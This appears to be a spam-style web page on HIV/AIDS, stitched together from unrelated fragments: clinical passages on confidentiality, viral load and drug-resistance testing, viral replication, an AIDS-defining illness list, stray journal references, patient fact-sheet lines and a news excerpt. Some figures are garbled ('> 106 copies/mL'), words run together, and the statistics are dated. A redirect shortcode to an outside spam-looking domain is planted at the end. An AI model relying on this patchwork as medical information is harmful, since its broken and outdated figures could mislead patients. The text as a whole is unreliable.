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If, on balance, a breach of confidence is deemed necessary, practitioners should work in advance to anticipate and manage potentially negative consequences (ie, reactions of intimate partners, family). As well, practitioners should consider whether the goal of maintaining patient privacy would be better served by personal communication with the individual placed at risk by the patient’s seropositivity or by notification of local public health authorities. In some areas, anonymous notification of sexual contacts is possible through local or state departments of health. As a practical matter, because disclosure is only possible when the index case freely identifies at-risk partners, superseding an individual’s refusal to disclose should be a rare occurrence.

Mother-to-child transmission is the most common way that children become infected with HIV. HIV medicines, given to women with HIV during pregnancy and childbirth and to their babies after birth, reduce the risk of mother-to-child transmission of HIV. 

Wasting syndrome. Aggressive treatment approaches have reduced the number of cases of wasting syndrome, but it still affects many people with AIDS. It’s defined as a loss of at least 10 percent of body weight, often accompanied by diarrhea, chronic weakness and fever.

HIV may be the human version of simian immunodeficiency virus (SIV), known to infect African chimpanzees. It may have crossed over and mutated in humans who ate infected chimpanzee meat as long ago as the late 1800s.

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It is important remember that sometimes, for reasons not entirely understood, the viral load can briefly increase. Unexpected increases, therefore, necessitate repeated testing of the viral load before any clinical decisions are made. If, however, the viral load is continually detected despite proper adherence to the prescribed therapy, serious consideration must be given to the possibility that the virus has become resistant to one or more of the medications being given, especially if viral load is greater than 200 copies/mL. There is now an abundance of data showing that the use of drug-resistance tests can improve the response to a follow-up regimen. Testing can be used to determine if an individual’s HIV has become resistant to one or more of the drugs that are being taken. There are currently two main types of resistance tests available in the clinic: one that is called a genotype and the other a phenotype assay. The former looks for mutations in the virus and the latter the actual amount of drug it takes to block infection by the patient’s virus. The genotype test is very helpful in those being screened for the presence of resistant virus prior to initiating treatment and those experiencing viral rebound on one of their first treatment regimens. The phenotype test is particularly useful in those who are highly treatment experienced and have substantial amounts of drug resistance, especially to the protease class. The information derived from these tests, along with a tropism test will ultimately tell the provider which of the many approved drugs are likely to be fully active against the specific patient’s virus. Using this information, the goal is to include at least two and at times preferably three fully active drugs in the next regimen in order to optimize the chances of suppressing the viral load to undetectable levels. It is often useful to seek expert consultation in managing those with multidrug resistant virus.

Paroli M, Propato A, Accapezzato D, Francavilla V, Schiaffella E, Barnaba V. The immunology of HIV-infected long-term non-progressors–a current view. Immunol Lett. 2001 Nov 1. 79(1-2):127-9. [Medline].

Jump up ^ Celum CL, Coombs RW, Lafferty W, Inui TS, Louie PH, Gates CA, McCreedy BJ, Egan R, Grove T, Alexander S (1991). “Indeterminate human immunodeficiency virus type 1 western blots: seroconversion risk, specificity of supplemental tests, and an algorithm for evaluation”. The Journal of Infectious Diseases. 164 (4): 656–664. doi:10.1093/infdis/164.4.656. PMID 1894929.

HIV attaches to and penetrates host T cells, then releases HIV RNA and enzymes into the host cell. HIV reverse transcriptase copies viral RNA as proviral DNA. Proviral DNA enters the host cell’s nucleus, and HIV integrase facilitates the proviral DNA’s integration into the host’s DNA. The host cell then produces HIV RNA and HIV proteins. HIV proteins are assembled into HIV virions and budded from the cell surface. HIV protease cleaves viral proteins, converting the immature virion to a mature, infectious virion.

Candidiasis of esophagus, trachea, bronchi, lungs Cryptococcosis, extrapulmonary Cryptosporidiosis > 1 month duration CMV infection of any organ EXCEPT liver, spleen, or lymph nodes in Pts > 1 month of age Herpes simplex infection, mucocutaneous > 1 month duration and/or of esophagus, bronchi, lungs Kaposi sarcoma < age 60 Primary CNS lymphoma < age 60 Lymphoid interstital pneumonitis and/or pulmonary lymphoid hyperplasia < age 13 Mycobacterium avium complex or M kansasiidisseminated Pneumocystis cariniipneumonia Progressive multifocal leukoencephalopathy Toxoplasmosis of the brain in Pts > 1 month of age

The classical process of infection of a cell by a virion can be called “cell-free spread” to distinguish it from a more recently-recognized process called “cell-to-cell spread”.[81] In cell-free spread (see figure), virus particles bud from an infected T cell, enter the blood or extracellular fluid and then infect another T cell following a chance encounter.[81] HIV can also disseminate by direct transmission from one cell to another by a process of cell-to-cell spread, for which two pathways have been described. Firstly, an infected T cell can transmit virus directly to a target T cell via a virological synapse.[57][82] Secondly, an antigen-presenting cell (APC), such as a macrophage or dendritic cell, can transmit HIV to T cells by a process that either involves productive infection (in the case of macrophages) or capture and transfer of virions in trans (in the case of dendritic cells).[83] Whichever pathway is used, infection by cell-to-cell transfer is reported to be much more efficient than cell-free virus spread.[84] A number of factors contribute to this increased efficiency, including polarised virus budding towards the site of cell-to-cell contact, close apposition of cells, which minimizes fluid-phase diffusion of virions, and clustering of HIV entry receptors on the target cell to the contact zone.[82] Cell-to-cell spread is thought to be particularly important in lymphoid tissues where CD4+ T cells are densely packed and likely to interact frequently.[81] Intravital imaging studies have supported the concept of the HIV virological synapse in vivo.[85] The hybrid spreading mechanisms of HIV contribute to the virus’ ongoing replication in spite of anti-retroviral therapies.[81][86]

Falutz J, Potvin D, Mamputu JC, et al. Effects of tesamorelin, a growth hormone-releasing factor, in HIV-infected patients with abdominal fat accumulation: a randomized placebo-controlled trial with a safety extension. J Acquir Immune Defic Syndr. 2010 Mar 1. 53(3):311-22. [Medline].

HIV-positive women who might become pregnant should talk to their provider about the risk to their unborn child. They should also discuss methods to prevent their baby from becoming infected, such as taking antiretroviral medicines during pregnancy.

According to the August 2008 report issued by the Joint United Nations Programme on HIV/AIDS (UNAIDS), as of 2007, approximately 33 million people worldwide are HIV positive. Over half of the 33 million are women and this statistic has remained stable for several years. The highest number of cases is found in sub-Saharan Africa and Southeast Asia.

There are three dominant mechanisms for the loss of CD4 T cells in HIV infection. First, there is evidence for direct viral killing of infected cells; second, there is increased susceptibility to the induction of apoptosis in infected cells; and third, there is killing of infected CD4 T cells by CD8 cytotoxic lymphocytes that recognize viral peptides.

A considerable amount of stigma has been attached to HIV infection, mostly because of the virus’s association with sexual acquisition and the inference of sexual promiscuity. Consequences of this stigma have included discrimination and reluctance to be tested for HIV infection. The stigma of HIV infection is also associated with a fear of acquiring a rapidly fatal infection from relatively casual contact.

Sackoff JE, Hanna DB, Pfeiffer MR, Torian LV. Causes of death among persons with AIDS in the era of highly active antiretroviral therapy: New York City. Ann Intern Med. 2006 Sep 19. 145(6):397-406. [Medline]. [Full Text].

Patients with HIV infection should be counseled about the risks of infecting their sexual partners with HIV. Safer sex practices and treatment of concurrent sexually transmitted diseases, both in the patient and in sexual partners, considerably reduces the risk of transmission. Patients with HIV infection should be encouraged to inform their sexual partners of their status; failure to do so has resulted in successful prosecutions in several countries. Sexual contacts should be tested.

Sturdevant, born and raised in Metcalfe, a tiny Mississippi Delta town of about 1,000, understands all too well the fear, stigma and isolation that can come with being a black gay man in the South. “Growing up, I was taught that God was not fixing to forgive a person who was homosexual,” Sturdevant said. “The Bible supposedly said you’re going straight to hell, automatically, there’s no forgiveness. There were several times I thought about suicide. There were several times I wanted to get sick and die. Finally, my thought was, I just want to get out of here.” He moved to Dallas, and then to Memphis.

Infected CD4+ lymphocytes have a half-life of about 2 days, which is much shorter than that of uninfected CD4+ cells. Rates of CD4+ lymphocyte destruction correlate with plasma HIV level. Typically, during the initial or primary infection, HIV levels are highest (> 106 copies/mL), and the CD4 count drops rapidly.

Full blood count: This is a test to check on the levels of white blood cells, red blood cells, platelets and haemoglobins in your blood. This test needs to be done before and regularly after treatment to check for anaemia (reduced blood haemoglobin) and reduction of other blood cells.

Tests for HIV look for these antibodies in your blood or mouth lining. If you have them in your blood, it means that you have HIV infection. People who have the HIV antibodies are called “HIV-Positive.” Fact Sheet 102 has more information on HIV testing.

Production of the clotting factor concentrates, mainly to treat patients with haemophilia A and haemophilia B (Christmas disease), involves the pooling of very many donations and a single donation could contaminate a batch of concentrate used to treat many patients. There have been no recorded transmissions of HIV by this route in the UK since the introduction of heat inactivation of concentrates and donor screening in 1985. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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